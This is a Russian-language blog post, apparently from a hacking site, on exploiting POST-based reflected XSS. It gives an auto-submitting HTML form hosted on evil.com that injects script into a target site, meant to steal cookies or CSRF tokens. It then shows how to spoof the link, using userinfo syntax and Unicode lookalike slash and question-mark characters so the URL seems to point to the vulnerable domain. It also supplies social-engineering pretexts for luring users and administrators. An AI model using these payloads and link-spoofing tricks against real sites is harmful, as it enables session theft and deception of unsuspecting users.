Хочу поделиться неольшой хитростью, которую открыл для себя, когда произошли определенные трудности при попытках эксплуатации найденных Reflected XSS.
Только вид тех найденных багов был даже более неудобный для атакующего, чем обычные reflected или отраженные XSS. Сейчас поясню (только XSS будет самая простейшая, то есть без дополнительных мер по обходу фильтров и пр.
Обычные отраженные XSS бывают вида
http://site.com/search.php?q=123<script>alert('dlab')</script>
То есть когда внедренный код передается через GET-параметры. Но бывают случаи, когда эти же параметры передаются методом POST, чере зформу поиска например:
HTML-код|HTML-code ... <form method="post" action="search.php"> <input type="text" name="q"> <input type="submit" value="search" </form> ...
В таком случае атакующему для эксплуатации XSS приходится создавать где-то на хостинге свою HTML-страницу (пусть будет http://evil.com/xss.html), куда размещать эту форму (только не с относительным, а с абсолютным адресом в атрибуте action, естественно) и скрипт, который будет эту форму сабмитить:
HTML-код|HTML-code
...
<form id="search" method="post" action="search.php">
<input type="text" name="q" value="123<script>alert('dlab')</script>">
<input type="submit" value="search"
</form>
<script>
document.all.search.submit();
</script>
...
Только алерт заменяется на какой-нибудь полезнй код типы вытягивания куков или csrf-токенов и тд.
Вот теперь настает самый ответственный момент. Надо как-то заставить перейти жертву по ссылке, ведущей на страницу на хостинге атакующего.
Если отправлять обычному юзеру, зареганному на том сайте под каким-нибудь предлогом, то он может и не заподозрит ничего, но опять же — кидать ссылку на левые домены по отстраненным темам как-то уменьшает вероятность перехода по этой ссылке.
[ad name=»Responbl»]
Другое дело, если бы можно было отправить ссыль с доменом самого сайта, где был найден баг, тогда и юзеру можно было бы что-то написать типа «ты виде что твориться в этом разделе (ссылка) на сайте?!?!» и админу типа «посмотрите, у вас тут (ссылка) что-то некорректно пашет».
Конечно же это не дает стойких гарантий, что все пройдет гладко, но по моему личному опыту «пробив» у ссылок, где виден домен самого сайта с уязвимостью значительно выше (по моей небольшой стате, ради которой я даже проводил специальные эксперименты на сайтах, где обнаруживал баги, где-то в 2-2.5 раза чаще переходят).
Отсюда вытекает проблема: как быть в тех случаях, когда нам надо сначала направить юзера на наш сайт, чтобы проэксплуатировать баг?
Первое решение — найти какой-нибудь Open redirect, который позволит сформировать ссылку с доменом того сайта, которая редиректит на страницу атакующего, которая в свою очередь возвращает юзера обратно на сайт, но уже с эксплуатирующейся XSS.
Но искать еще один баг, ради того чтобы увеличить шансы на умпешную прокрутку предыдущего, учитывая еще то, что этого бага может и не быть вовсе как-то не очень хочется. Поэтому возникает вопрос в том, можно ли как-то сформировать ссылку, которая будет очень похожа на «хорошую», то есть в ней как будто будет содержаться домен атакуемуого сайта.
Периодически задумываясь над этим я пришел к такому решению:
можно попробовать использовать схему HTTP-аутентификации через адресную строку, чтобы логин был доменом, ведь если для страницы аутентификация не требуется, то логин и пароль просто не будут играть никакой роли. Мы знаем, что у общая схема этой аутентификации через адресную строку такая:
http://login:pass@site.com/some/dir/test.html
Тут уже видно, как это можно использовать, но и также видны проблемы, с которыми сейчас столкнемся при формировании правдоподобной ссылки:
http://site.com∕search.php?q=12:3@evil.com/xss.html
Но тут есть некоторые моменты:
Мы обязательно должны после ложного домена использовать двоеточие, а затем знак ‘@’, чтобы схема сработала, решение проблемы — использовать эти знаки подальше от ложного домена, типа как данные запроса.
Потом есть проблема использования нужных нам символов слэша ‘/’ и вопросительного знака ‘?’, так как в чистом виде при аутентификации через адресную строку они использовать не могут, предполагается, что их надо обязательно кодировать через в URL-эквиваленты. Но для нас это критически недопустимо, так как тогда домен и близкие к нему данные начинают напоминать что-то подозрительное (особенно для админа, если ссылка адресована ему).
Но и тут нашелся выход — будем использовать довольно похожие символы из Unicode, например для слеша я подобрал символ division slash (U+2215), который в адресной строке почти не отличить, а для вопросительного знака был взят full width question mark (U+FF1F), но при использовании этих символов накладывается условие, что ссылку надо отправлять в неотформатированном тексте, так как в ином случае эти два символа (в особенности вопросительный знак) буду выделяться.
[ad name=»Responbl»]
Также желательно, чтобы ссылка была некликабельна, а ее надо было скопировать в адресную строку (иначе при наведении курсора на нее в некоторых браузерах в левом нижнем углу отображается реальный адрес, куда бует совершен переход).
Ограничений и нюансов довольно много, но тем не менее, как показала, небольшая статистика, этот вариант более эффективный, чем отправление неизвестного домена (без преминения каких-либо трюков социальной инженерии).
